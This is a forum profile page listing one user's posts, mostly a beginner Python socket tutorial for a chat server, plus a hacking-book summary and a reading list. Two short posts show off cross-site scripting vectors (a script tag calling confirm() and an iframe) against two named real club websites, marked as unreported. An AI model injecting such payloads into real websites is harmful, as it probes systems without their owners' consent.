This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - WhiZ

Pages: [1] 2
1
Buenas a todos los underc0ders!

Hace mucho que, por diversas cuestiones, se me hace imposible participar en el foro y aportar con algún tutorial, una app o alguna de esas cosas que tanto me gusta. Sin embargo, hoy estuve pensando en algo que me llamó bastante la atención y se me ocurrió que podría ser un aporte interesante.

Actualmente, me encuentro trabajando como médico informático (una mezcla media rara jeje) y, más allá de los detalles, por primera vez tengo la posibilidad de ver un área de seguridad informática en acción.

Tantos años en este foro me llevaron a crearme una imagen del experto en seguridad informática que, al menos en mi caso, contrasta mucho con la imagen de la 'realidad'. En la empresa en la que trabajo, es muy común encontrar vulnerabilidades y es fácil evadir algunos mecanismos de seguridad desarrollados por el área de seguridad informática. Por otro lado, las personas que trabajan en dicha área, no son pentesters o algo así, sino que se la pasan evaluando usuarios y perfiles,  permisos de acceso por usuario / ip, etcétera. Parece, más bien, un trabajo administrativo y no el gran reto que yo siempre imaginé que tendría un experto en seguridad informática.

Todo esto me llevó a preguntarme: ¿generalmente es así el trabajo en este área? ¿Hace falta ser un experto reconocido o trabajar en una empresa que se dedique, específicamente, a hacer auditorías de seguridad informática para hacer la parte más interesante de esta profesión? De ser así, ¿sería más interesante y reconfortante hacerlo como hobbie?

Creo que este tema, además de interesante, resulta de mucha importancia, sobre todo para aquellos que piensan vivir de esto y que se pueden llevar una gran sorpresa el día de mañana, ¿no es así?

¿Qué opinan ustedes?

Enviado desde mi GT-I8260L mediante Tapatalk


2
Python / [Python] Underch4t v1.0 (Parte 4)
« on: January 03, 2016, 09:34:09 pm »

UnderCh4t



Bienvenidos a la cuarta entrega de esta serie. Poco a poco vamos armando nuestro humilde pero querido UnderCh4t. Si es la primera vez que escuchás hablar de esta serie o, por el contrario, ya lo hiciste pero te interesa repasar algunos conceptos, entonces te invito a pasar por los posts anteriores:

    - You are not allowed to view links. Register or Login
    - You are not allowed to view links. Register or Login
    - You are not allowed to view links. Register or Login

Muy bien. Mencionamos dos problemas al final de la tercera entrega:
    - establecer una charla con el cliente (intercambiar información)
    - recibir más de un cliente y de forma simultánea.

Debido a que el tema de threading es un poco complejo (sólo un poco jeje), lo vamos a ir explicando de a poco, en dos entregas o más (dependerá del tiempo que disponga para escribir). Hoy, mientras tanto, nos enfocaremos en el primero de los problemas citados. Comencemos!



INTERCAMBIANDO INFORMACIÓN


Como vimos en la entrega anterior, hasta ahora no le damos un buen servicio al cliente. Cada vez que se conecta, se imprime su dirección de red y se cierran ambos sockets (el del cliente y el del servidor). Repasemos el código:

Code: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import socket

# creamos socket para el servidor
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# establecemos interfaz de conexión
servidor.bind(("0.0.0.0", 2236))

# modo pasivo y backlog
servidor.listen(5)

# aceptamos al cliente
cliente, direccion = servidor.accept()

print cliente
print direccion

cliente.close()
servidor.close()

Nuestro objetivo es mantener la conexión hasta que ambas partes decidan cerrarla. Sólo es posible saber eso si primero realizamos un intercambio de información entre ambas partes. Es decir, el servidor nunca se enterará que el cliente desea cerrar la conexión, al menos que reciba un mensaje por parte de él (y viceversa).

Por suerte, el objeto socket posee dos métodos que nos permiten hacer esto de forma sencilla: send y recv.

Para ser fieles a nuestras costumbres, recurramos a la documentación oficial y veamos cómo funciona cada uno.

El método You are not allowed to view links. Register or Login, como su nombre lo indica, nos permite enviar información al socket al que estamos conectados (ya sea cliente o servidor). Su sintaxis es la siguiente:

Code: (python) You are not allowed to view links. Register or Login
data = "mensaje"
flags = 0
socket.send(data, flags)

Como vemos, el método recibe dos argumentos:
    - data: es la información que queremos transmitir.
    - flags: este argumento, de tipo entero y opcional, nos permite establecer cómo queremos que se envíe la información. Su valor, por defecto, es cero. Podemos ver otros de sus posibles valores por You are not allowed to view links. Register or Login.

Al finalizar, nos devuelve el número de bytes que fueron enviados. Esto es importante por el hecho de que somos nosotros, por medio de nuestra aplicación, los que debemos llevar la cuenta de cuántos bytes hemos enviado y cuántos quedan por enviar.

Por último, también es importante saber que este método es bloqueante, es decir, la aplicación quedará detenida en este punto hasta que finalice el envío de información.

El método You are not allowed to view links. Register or Login es bastante similar al anterior y nos permite recibir la información enviada por el socket al que estamos conectados (ya sea cliente o servidor). Su sintaxis es la siguiente:

Code: (python) You are not allowed to view links. Register or Login
bufsize = 1024
flags = 0
socket.recv(bufsize, flags)

Al igual que el método anterior, los argumentos que recibe son dos:
    - bufsize: es un entero que indica la cantidad máxima de datos que se recibirán por vez. Tal como se comenta en la documentación, se recomienda utilizar pequeñas potencias de 2 (por ejemplo, 1024, 2048 o 4096).
    - flags: este argumento, de tipo entero y opcional, nos permite establecer cómo queremos que se reciba la información (sí, es casi idéntico al argumento del método send). Su valor por defecto es cero pero podemos utilizar cualquiera de los flags que vemos por You are not allowed to view links. Register or Login.

Al finalizar, el método devuelve una dato de tipo str que corresponde al mensaje enviado por el otro extremo de la conexión.

De forma similar al anterior, este método es bloqueante. La aplicación se estancará en este punto hasta finalizar de recibir toda la información.

Muy bien. Ahora que ya sabemos como enviar y recibir información, es hora de codear un poco.

servidor.py
Code: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import socket

# creamos el socket del servidor
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# establecemos interfaz de conexión
servidor.bind(("0.0.0.0", 2236))

# modo pasivo y backlog
servidor.listen(5)

# aceptamos conexiones entrantes
cliente, direccion = servidor.accept()

# enviamos un mensaje al cliente
msj = "Bienvenido a UnderCh4t! Escribí '/desconectar' para salir."
cliente.send(msj)

# creamos un bucle para recibir información enviada por el cliente
while True:
    # recibimos la información enviada por el cliente
    recv = cliente.recv(1024)

    # formateamos la información
    recv = recv.lower().strip()

    # verificamos si hay que finalizar la conexión
    if recv == "/desconectar":
        cliente.close()
        break

    # imprimimos en pantalla la información recibida
    print recv

# cerramos el servidor
servidor.close()

Quiero dejar en claro que hay muchas cosas que estamos dejando de lado. Esto lo digo por varias cosas pero, principalmente, por los errores y el manejo de los mismos. Poco a poco iremos mejorando nuestro código. Por ahora, sólo me interesa transmitir, uno a uno, los conceptos que vamos tratando.

Para los que se están preguntando por la línea en la que formateamos la información, les recuerdo que recv es una variable de tipo str, por lo que lower y strip son dos de sus tantos métodos (más información por aquí: You are not allowed to view links. Register or Login - You are not allowed to view links. Register or Login).

Si ponemos en marcha nuestro nuevo servidor, veremos que hemos ganado un poco de funcionalidad. El servidor se quedará recibiendo mensajes del cliente hasta que éste le indique su intención de cerrar la conexión (enviando el mensaje "/desconectar").

Muy bien. Esto es todo por hoy. Hagan pruebas, jueguen y experimenten con su servidor. Paciencia que en algún momento nos meteremos con el cliente. Mientras tanto, pueden usar telnet o netcat (recomiendo este último).

Saludos y hasta la próxima!
WhiZ

3
Python / [Python] Underch4t v1.0 (Parte 3)
« on: January 02, 2016, 01:33:12 pm »

UnderCh4t



Bienvenidos a la tercera entrega de UnderCh4t, un sencillo chat en python que nos ayudará a comprender algunos de conceptos de gran importancia para todo programador.

Si es la primera vez que escuchás hablar de este tutorial, te recomiendo que pases primero por estos posts:
    - You are not allowed to view links. Register or Login
    - You are not allowed to view links. Register or Login

Bien. Si hacemos un poco de memoria, en las entregas pasadas hemos estado enfocándonos en nuestro servidor. Más concretamente, hemos aprendido a crear un socket y a establecer una interfaz de conexión. Con todo esto, ya estamos en condiciones de poner a trabajar a nuestro servidor. Veamos cómo... ;)



PONIENDO AL SERVIDOR EN ESCUCHA


Debido a que esta vez las cosas van a ser un poco más complicadas, lo que voy a hacer es lo siguiente: primero, vamos a repasar las cosas que ya vimos en las entregas anteriores; en segundo lugar, vamos a poner el servidor en escucha y a atender las conexiones entrantes -es decir, los clientes que se conecten al servidor-.

Ya sabemos cómo crear el servidor y establecer la interfaz de conexión:
Code: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import socket

# creamos el socket
mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# establecemos interfaz de conexión
ip = "127.0.0.1"
puerto = 8000
mi_socket.bind((ip, puerto))

Bueno, muy fácil hasta aquí. Lo que viene ahora es poner el servidor en escucha. Sin embargo, antes me gustaría charlar algunas cosas. Sé que todavía no tocamos el tema de los clientes pero voy a ir adelantando algunas cosas (nada que los vaya a complicar, no se preocupen). Tal como hacemos con el servidor, al momento de crear un cliente debemos definir un socket. ¿Cómo lo hacemos? Tan simple como esto:

Code: (python) You are not allowed to view links. Register or Login
import socket

mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Mmm... Esto me resulta bastante familiar, ¿no les parece? Sí. Esta misma línea la usamos para crear el socket en nuestro servidor. Interesante, ¿no?

Esto significa que cada vez que creamos un socket, éste sirve tanto para crear un servidor como un cliente, y debemos, por tanto, indicar qué rol tendrá el mismo en la conexión. En el caso del servidor (al cliente lo veremos en otro momento), lo hacemos con el método listen.

Tal y como vemos en la You are not allowed to view links. Register or Login, la sintaxis es la siguente:

Code: (python) You are not allowed to view links. Register or Login
socket.listen(backlog)
El método listen, en pocas palabras, pone al socket en modo pasivo y establece el número de conexiones TCP entrantes que el sistema puede encolar.

Analicemos bien esto:

    - Poner al socket en modo pasivo: decimos que un socket se encuentra en modo pasivo cuando está listo para ser usado como un servidor y, por el contrario, en modo activo cuando será utilizado como cliente.

    - Encolar conexiones entrantes: cuando el servidor se pone en marcha sólo tiene que esperar a que los clientes se conecten a él. Cuando esto sucede, se atiende al cliente de forma individual y dedicada. Esto significa que si el servidor está conectado con un cliente, los demás deberán esperar a que ésta conexión finalice para ser atendidos. Podemos comparar esto con la caja de un supermercado: el cajero atiende a un cliente a la vez. Los demás deberán ponerse en fila y esperar su turno.

    - Establecer número máximo de conexiones en la cola: con el método listen podemos indicar cuál es el número máximo de clientes que vamos a permitir en nuestra cola (es el llamado backlog). Si volvemos al ejemplo del supermercado, el cajero puede indicar el número máximo de clientes que tendrá la cola. Si el máximo fuera de cinco personas, la sexta será notificada de tal situación y le negarán el acceso a la cola (sí, tendrá que irse a otra caja o volver a probar en otro momento).

Si llevamos esto al código, nos queda algo así:
Code: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import socket

# creamos el socket
mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# establecemos interfaz de conexión
ip = "127.0.0.1"
puerto = 8000
mi_socket.bind((ip, puerto))

# ponemos al socket en modo pasivo y establecemos el número
# máximo de conexiones entrantes que el sistema puede encolar.
backlog = 5
mi_socket.listen(backlog)

Bien, ahora que ya hemos puesto al socket en modo pasivo (está escuchando: listen) y que hemos establecido el límite de conexiones a encolar (backlog), ya estamos en condiciones de recibir a nuestros clientes.



ACEPTANDO CONEXIONES ENTRANTES


Cuando decimos recibir a nuestros clientes, estamos hablando de aceptarlos. Justamente, para realizar esta tarea, existe el método accept. Para utilizar este método, sólo tenemos que escribir lo siguiente:

Code: (python) You are not allowed to view links. Register or Login
conn, address = socket.accept()
Tal y como vemos en la You are not allowed to view links. Register or Login, para utilizar este método, es necesario haber creado una interfaz de conexión previamente. Una vez ejecutado, el método devuelve (return) una tupla de dos elementos:
    - conn: un nuevo objeto socket utilizado para enviar y recibir información de la conexión.
    - address: dirección vinculada al socket que se encuentra en el otro extremo de la conexión (es decir, la dirección del cliente). Como dijimos en la entrega anterior, una dirección de red se compone, en el caso de las familias AF_INET (IPv4), de una tupla con dos valores: IP y puerto.

Si volvemos al código anterior y evaluamos los valores retornados, tendríamos algo así:

Code: (python) You are not allowed to view links. Register or Login
>>> print conn
<socket._socketobject object at 0x0000000001FBF660>
>>> print address
('127.0.0.1', 2580)

Como vemos, conn es un objeto socket y address una tupla con dos valores: el primero es la IP -en este caso, una Loop IP-, el segundo valor corresponde al puerto. Recuerden que estos dos valores (IP y puerto) corresponden al cliente que acabamos de recibir (aceptar). El objeto socket es el que nos permitirá comunicarnos con ese cliente.

Esto significa que si quiero enviarle información al cliente, tendré que hacerlo por medio de conn, y lo haremos a la IP 127.0.0.1 y al puerto 2580. Esto lo veremos con más detalle en las próximas entregas pero les comento esto ahora para que se vayan haciendo una idea ;)

Muy bien, en el día de hoy hemos aprendido a poner nuestro servidor en escucha (listen), indicando el número máximo de conexiones entrantes a encolar (backlog), y a aceptar cada una de estas conexiones entrantes (accept). Para poner en práctica todo esto, pueden crear un archivo llamado servidor.py (ahora les paso el contenido) y conectarse a él por medio de telnet o netcat (más adelante veremos cómo crear nuestro propio cliente).

[b[servidor.py[/b]
Code: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import socket

# creamos servidor
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# creamos interfaz de conexión
server.bind(("0.0.0.0", 8080))

# ponemos al servidor en escucha
# (backlog: 5)
server.listen(5)

# recibimos conexiones entrantes
conn, address = server.accept()

# imprimimos los datos devueltos por
# el método accept
print conn
print address

# cerramos la conexión con el cliente
conn.close()

# cerramos el servidor
server.close()

Para finalizar, déjenme comentarles dos cosas. En primer lugar, hay un método nuevo que no habíamos visto todavía: close. Como sabemos, tanto server como conn son objetos socket. Esto significa que ambos presentan los mismos métodos. Este nuevo método, sirve para cerrar un socket. En este caso, primero cerramos el socket conn y luego el que creamos para el servidor.

En segundo lugar, por si no se dieron cuenta, en el código que acabamos de hacer tenemos un gran problema: sólo podemos recibir un cliente. Luego de crear la conexión, cerramos ambos sockets y se termina todo. Evidentemente, esto no nos sirve si queremos tener un chat funcional. En las próximas entregas veremos cómo prolongar la conexión con un cliente (bucles) y cómo interactuar con varios clientes a la vez (threads).

Nos vemos en la próxima entrega con más de UnderCh4t ;)

Saludos!
WhiZ

4
Python / [Python] Underch4t v1.0 (Parte 2)
« on: December 19, 2015, 05:33:38 pm »

UnderCh4t



Comenzamos la segunda entrega de este mini tutorial: creando nuestro propio chat con Python. El mío se llama UnderCh4t y si es la primera vez que escuchás hablar de él,  te invito a que pases por You are not allowed to view links. Register or Login y lo conozcas ;)



INTERFAZ DE CONEXIÓN


Hasta ahora no hemos hecho mucho: sólo creamos la estructura general de nuestro servidor (que, como veremos a lo largo del curso, irá sufriendo algunas modificaciones) y hemos desarrollado el método que nos permite crear el socket que vamos a utilizar para interactuar con nuestros clientes.

Si nos basamos en el método ejecutar (método guía del programa), ahora le toca el turno al método bind. Veamos primero su código:

Code: (python) You are not allowed to view links. Register or Login
def _bind(self):
    msj = "Estableciendo interfaz de conexión ({0}:{1})"
    self._mostrar_info(msj.format(self.__ip, self.__puerto))
    try:
        self.__servidor.bind((self.__ip, self.__puerto))
    except Exception as e:
        self._mostrar_error(e, critico=True)

Nuevamente, dejando de lado los logs y el manejo de errores, lo único que nos interesa en este método es la siguiente línea:

Code: (python) You are not allowed to view links. Register or Login
self.__servidor.bind((self.__ip, self.__puerto))
Como siempre, lo primero que haremos será pegarle una ojeada a la You are not allowed to view links. Register or Login. En ella, podemos ver que el método bind tiene como objetivo establecer una interfaz de conexión, es decir, enlazar el socket a una dirección, la cual variará según la familia de dirección que utilicemos.

Quote
Esto ya lo vimos en la primera parte pero para los que todavía no saben de qué estamos hablando, vamos con un rápido repaso. Cuando creamos un socket, debemos indicar cómo queremos que sea, es decir, qué familia, tipo y protocolo queremos que utilice. Dentro de las familias de sockets, las más utilizadas son:
    - AF_INET (IPv4)
    - AF_INET (IPv6)
    - AF_UNIX (utilizada para comunicación entre procesos en una misma computadora).

Entonces, cuando creamos un socket, se le asigna una familia de direcciones pero no una dirección en particular. Para esto, debemos llamar al método bind, pasándole como argumento la dirección que queremos asignar al socket.

Como dijimos antes, cada familia de sockets tiene su forma de indicar esta dirección. La familia AF_INET, por ejemplo, utiliza una tupla con dos valores: host (dominio o dirección IP) y puerto. El código quedaría así:

Code: (python) You are not allowed to view links. Register or Login
import socket
mi_socket = socket.socket(AF_INET, SOCK_STREAM)
direccion = ("127.0.0.1", 8000)
mi_socket.bind(direccion)

En este caso, primero creamos el socket - indicamos familia y tipo de socket (al protocolo, no indicado, lo determina el sistema)- y luego vinculamos el socket a una dirección. La dirección es una tupla que contiene una dirección IP (127.0.0.1) y un puerto (8000).

Con respecto a las direcciones de las otras familias, debido a que se escapa a los objetivos de este tutorial, no vamos a decir mucho; simplemente que la familia AF_UNIX utiliza una cadena para indicar la dirección, mientras que la familia AF_INET6 requiere una tupla con cuatro valores: host, puerto, flujo de información e identificador de ámbito. No se preocupen que esto no es algo que tengan que saber para este curso. Sin embargo, si alguno tiene ganas de aprender más del asunto, aquí dejo algunos links de interés: You are not allowed to view links. Register or Login y You are not allowed to view links. Register or Login.



Bueno, esto es todo por ahora. Originalmente, mi idea era hacer una segunda parte más extensa pero, considerando que lo que viene es un poco más complejo, decidí hacer una entrega más corta que no los complique y les permita entender estos nuevos conceptos sin dificultad.

Vayan leyendo y repasando estas dos primeras partes que les van a servir de base para la entrega que viene.  ;)

Saludos!
WhiZ

5
Python / [Python] Underch4t v1.0 (Parte 1)
« on: December 09, 2015, 01:56:48 pm »

UnderCh4t


Este es un pequeño servidor que acabo de crear en Python en respuesta a You are not allowed to view links. Register or Login de @You are not allowed to view links. Register or Login.

Voy a ir explicando, paso a paso, cómo armar el servidor y, finalmente, pongo todo el código completo.

Debido a que mi idea es ir explicando todo el proceso sin dejar cabos sueltos, ésta va a ser el primero de una serie de artículos en los que intentaré guiarlos en este maravilloso mundo de los sockets.

Comencemos!



CREANDO EL SERVIDOR


Lo primero que haremos es una clase llamada Servidor, la cual, en primera instancia, podrá realizar las siguientes tareas:
    - Sockets (vengan You are not allowed to view links. Register or Login los que no saben de qué estamos hablando ;) ):
        · crear un socket (servidor)
        · establecer interfaz de conexión: esto es, adjudicar ip y puerto local a la que se deberán conectar los clientes
        · poner el servidor en escucha
        · atender conexiones entrantes
        . cerrar socket
    - Informar estado del proceso
    - Manejar errores

Veamos cómo quedaría el código:
Code: (python) You are not allowed to view links. Register or Login
import socket
import sys

class Servidor(object):
    def __init__(self, ip, puerto, max_con=5):
        self.__ip = ip
        self.__puerto = puerto
        self.__max_con = max_con
        self.__clientes = {} # { socket, [ip, puerto]}

    ##########
    # SOCKET #
    ##########
    def ejecutar(self):
        try:
            self._crear_socket()
            self._bind()
            self._escuchar()
            self._cerrar_socket()
        except KeyboardInterrupt:
            self._cerrar_socket()
        except Exception as e:
            self._mostrar_error(e, critico=True)

    def _crear_socket(self):
        pass

    def _bind(self):
        pass

    def _escuchar(self):
        pass

    def _atender_cliente(self):
        pass

    def _cerrar_socket(self):
        pass

    ###########
    # PROCESO #
    ###########
    def _mostrar_info(self, msj):
        print " [+] {}".format(msj)

    def _mostrar_error(self, error, critico):
        print " [!] Error: {}".format(error)
        if critico:
            self._salir()

    def _salir(self):
        sys.exit(" [+] Finalizando aplicación")

Bien. Hasta aquí no hay mucho que decir. Hasta ahora hemos creado una clase 'Servidor' con dos grupos de métodos: los que se encargan de la conexión y los que se encargan de informar proceso y errores.

Vayamos con los métodos de conexión. El primero que vemos es el método 'ejecutar'. Este método constituye la guía de nuestra aplicación. Él se va a encargar de ir llamando, uno a uno, a cada método necesario para establecer nuestras conexiones.

Lo primero que hace es llamar a '_crear_socket'. Al menos que cambiemos un poco su contenido, no creo que pase mucho jeje. Vamos con eso:
Code: (python) You are not allowed to view links. Register or Login
def _crear_socket(self):
    self._mostrar_info("Creando socket")
    try:
        self.__servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    except Exception as e:
        self._mostrar_error(e, critico=True)

Voy a intentar explicar, de forma sencilla, qué significa todo esto que acabamos de escribir. Más allá del manejo de errores, los logs y el debugging, lo que realmente queremos es que este método nos cree un socket. La pregunta es: ¿cómo hacemos eso? El módulo You are not allowed to view links. Register or Login de python es quien nos permite realizar esta tarea. Para crear un socket, debemos escribir lo siguiente:
Code: (python) You are not allowed to view links. Register or Login
mi_socket = socket.socket()
Todo muy lindo hasta acá pero los que saben y entienden de redes se estarán preguntando: ¿qué características tendrá este socket? ¿sobre qué protocolos se llevará a cabo la comunicación? Bueno, por defecto, el objeto utilizará los protocolos IP y TCP. ¿Y si quisiera utilizar UDP, en vez de TCP? ¿Puedo hacerlo? Absolutamente. Tal como se indica en la You are not allowed to view links. Register or Login, podemos indicar la familia, el tipo y el protocolo que querramos utilizar:
Code: (python) You are not allowed to view links. Register or Login
mi_socket = socket.socket(familia, tipo, protocolo)
Para no complicarnos, sólo nos centraremos en la familia y el tipo. Dentro de las familias de direcciones, encontramos las siguientes:

    - AF_INET: le indica al kernel que vamos a utilizar el protocolo IPv4.
    - AF_INET6: le indica al kernel que vamos a utilizar el protocolo IPv6.
    - AF_UNIX: a diferencia de las familias INET que están ligadas a una tupla ip-puerto, las familias UNIX se vinculan a un archivo específico de tu sistema de archivos. Nos sirve, por ejemplo, para comunicación entre procesos de un mismo host.

Dentro de los tipos, los más utilizados son:
    - SOCK_STREAM: le indica al kernel que para transmitir los datos vamos a utilizar un protocolo confiable (TCP, por ejemplo).
    - SOCK_DGRAM: le indica al kernel que para transmitir los datos vamos a utilizar un protocolo no confiable (como es el caso de UDP)

Entonces, si quisiéramos hacer una conexión basada en los protocolos IP y UDP, bastaría con escribir lo siguiente:
Code: (python) You are not allowed to view links. Register or Login
familia = socket.AF_INET # IPv4
tipo = socket.SOCK_DGRAM # UDP
mi_socket = socket.socket(familia, tipo)

¿Vamos bien hasta ahí? Si es así, entonces continuemos que queda bastante por delante. Tenemos que saber que, una vez creado nuestro socket, podemos acceder a las opciones del mismo para modificarlas. Para hacerlo, el objeto socket nos brinda un método que nos facilita la tarea: setsockopt().

Tal y como nos indica la You are not allowed to view links. Register or Login, para modificar una opción debemos indicar el nivel del socket (ya lo veremos unos renglones más abajo),  la opción que queremos modificar y el valor:
Code: (python) You are not allowed to view links. Register or Login
mi_socket = socket.socket()
mi.socket.setsockopt(nivel, opcion, valor)

Cuando hablamos de nivel, nos referimos, por decirlo de forma sencilla, al protocolo en el que se encuentra la opción que queremos modificar. Cada nivel tiene un valor que lo identifica, por ejemplo:
    - SOL_SOCKET: es el nivel del socket y el valor que lo identifica es 1.
    - SOL_TCP: es el nivel del protocolo TCP, cuyo identificador es el 6.
    - SOL_UDP: nivel del protocolo UDP, identificado por el número 17.

Como a nosotros sólo nos interesa acceder a las opciones del socket, vamos a utilizar SOL_SOCKET para indicar el nivel.

Dentro de las opciones (You are not allowed to view links. Register or Login), a mi me interesa una en particular: SO_REUSEADDR. Esta opción nos permite reutilizar un socket local que se encuentre en estado TIME_WAIT, sin tener que esperar su tiempo natural de expiración (para los que no engancharon nada -> You are not allowed to view links. Register or Login ;) ). La opción sólo acepta valores booleanos, es decir, reutiliza el socket o no lo utiliza (reutilizar: SI/NO).

Bien, ahora que entendemos un poco mejor cómo es esto de las opciones, vamos a modificar esta opción:
Code: (python) You are not allowed to view links. Register or Login
mi_socket = socket.socket()
nivel = SOL_SOCKET # Nivel del socket
opcion = SO_REUSADDR # Opción a modificar
valor = True # Sí, queremos reutilizar el socket
mi_socket.setsockopt(nivel, opcion, valor)

Bien. Con esto queda concluido nuestro método para crear sockets. Con todo lo visto, ya son capaces de adaptar el método a sus necesidades. De hecho, podríamos modificar un poco el método para que sea más flexible:

Code: (python) You are not allowed to view links. Register or Login
def _crear_socket(self, familia, tipo, opciones):
    self._mostrar_info("Creando socket")
    try:
        self.__servidor = socket.socket(familia, tipo)
        for opcion in opciones:
            nivel, opcion, valor = opcion[:]
        self.__servidor.setsockopt(nivel, opcion, valor)
    except Exception as e:
        self._mostrar_error(e, critico=True)



Con esto doy por concluida esta primera parte. En los próximos días iré desarrollando los demás métodos que tenemos pendientes y más ;)

Saludos!
WhiZ

P.D.: muchas gracias @po6xsecpo por la correción.

6
Off Topic / [Entretenimiento] Velocidactil
« on: May 02, 2015, 10:55:26 am »






En esta oportunidad les traigo una página muy entretenida que sirve para aprender mecanografía jugando y compitiendo: You are not allowed to view links. Register or Login

Existen dos modalidades de juego:

    - practicar: para jugar sólo o contra otros oponentes.

    - jugar: competir contra uno o más jugadores.

Puedes participar como invitado aunque lo recomendable es crear tu propia cuenta para llevar un registro de tus actividades.

Te invito a registrarte y publicar aquí mismo tus propios récords. En mi caso, apenas logro superar las 300 ppm. Vamos a ver si pronto publico mejores resultados.

Saludos!
WhiZ

7
Python / Documentación
« on: April 09, 2015, 11:10:36 am »



LECTURA OBLIGATORIA


You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login - (You are not allowed to view links. Register or Login)
You are not allowed to view links. Register or Login - (You are not allowed to view links. Register or Login)
You are not allowed to view links. Register or Login



ESPAÑOL


[ LIBROS ]
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

[ REVISTAS ]
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login



INGLÉS


[ LIBROS ]
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

[ PRESENTACIONES ]
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

[ UNIVERSIDAD DE CALIFORNIA]
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login



Pueden obtener más libros gratuitos en You are not allowed to view links. Register or Login (recomendado).

Más material de Python por You are not allowed to view links. Register or Login (85 libros).

8
Hacking ShowOff / [XSS] clubaindependiente.com
« on: January 08, 2015, 03:30:31 pm »
Aquí dejo otro XSS en la página del CAIR jeje.



URL: You are not allowed to view links. Register or Login
Reportado: NO
Vector: <script>confirm(/ WhiZ/ );</script>

Saludos!
WhiZ

9
Hacking ShowOff / [XSS] bocajuniors.com.ar
« on: January 08, 2015, 03:27:49 pm »
Aquí un viejo XSS para alimentar la sección :)



URL: You are not allowed to view links. Register or Login
Reportado: NO
Vector: <iframe src="You are not allowed to view links. Register or Login"/>

Saludos!
WhiZ

10



Descripción

El hacking es el arte de resolver problemas de forma creativa, tanto si eso significa encontrar una solución poco convencional para un problema complicado como si se trata de aprovechar los agujeros de una programación descuidada. Muchas personas se autodenominan hackers, pero pocos tienen los conocimientos técnicos necesarios para realmente ponerlo a prueba.

En lugar de simplemente enseñar a usar las vulnerabilidades existentes, el autor, Jon Erickson, explica cómo funcionan las complejas técnicas de hacking, mostrando los fundamentos de la programación en C desde el punto de vista de un hacker.

Podemos ponernos manos a la obra depurando código, desbordando búferes, secuestrando comunicaciones de red, esquivando protecciones, aprovechando debilidades en contraseñas y quizás, incluso descubriendo nuevas vulnerabilidades.


Detalles del libro

Editor: No Starch Press
Por: Jon Erickson
ISBN: 978-1-59327-144-2
Año: 2008
Páginas: 488
Lenguaje: Inglés


Tabla de contenidos

Capítulo 0x100: Introduction
Capítulo 0x200: Programming
Capítulo 0x300: Exploitation
Capítulo 0x400: Networking
Capítulo 0x500: Shellcode
Capítulo 0x600: Countermeasures
Capítulo 0x700: Cryptography
Capítulo 0x800: Conclusion


Acerca del autor

Jon Erickson tiene una educación formal en ciencias de la computación y habla con frecuencia en conferencias de seguridad informática de todo el mundo. Él trabaja como especialista criptógrafo y la seguridad en el norte de California



You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login



Saludos!
WhiZ

11
Python / Introducción a Python
« on: September 29, 2014, 02:55:22 pm »
Hola Gente! Cómo les va? En esta ocasión traigo algo de material que tenía guardado. No es más que una pequeña introducción a Python pero prefiero compartirlo antes de que se pierda. Al final del post pueden encontrar un link con el material en pdf.

Comencemos!




Introducción


Voy a comenzar de una forma que no se acostumbra mucho hoy en día: definiendo.

Probablemente, muchos sepan que estamos a punto de adentrarnos en uno de los más maravillosos lenguajes de programación que existen actualmente. La pregunta es: ¿qué hace a este lenguaje tan especial? La respuesta es muy sencilla. Aún más de lo que podría parecer en un principio. Sin embargo, muchas de sus características y ventajas recién llegan a ser comprendidas luego de un tiempo. Es decir, nos veremos involucrados en un proceso de pythonización que código tras código nos irá respondiendo aquella pregunta tan importante que todos nos formulamos alguna vez al escuchar acerca de este misterioso ofidio de la programación.

Muy bien. Basta de vueltas y vayamos al grano. Entonces, ¿Qué es Python? Es un lenguaje de programación interpretado de alto nivel creado por Guido Van Rossum a fines de los años ochenta (dicen las malas lenguas que todo comenzó como un hobbie al buscar algo que lo mantenga ocupado durante las semanas de navidad). Entre sus características, podemos nombrar las siguientes:

    - Simple: Es la primera característica que debemos nombrar al hablar de este lenguaje. Python fue diseñado con esta filosofía: legibilidad y transparencia. A eso nos referimos cuando hablamos de “pythónico”. Ya veremos más adelante qué es y  cómo acceder al “Zen de Python”.

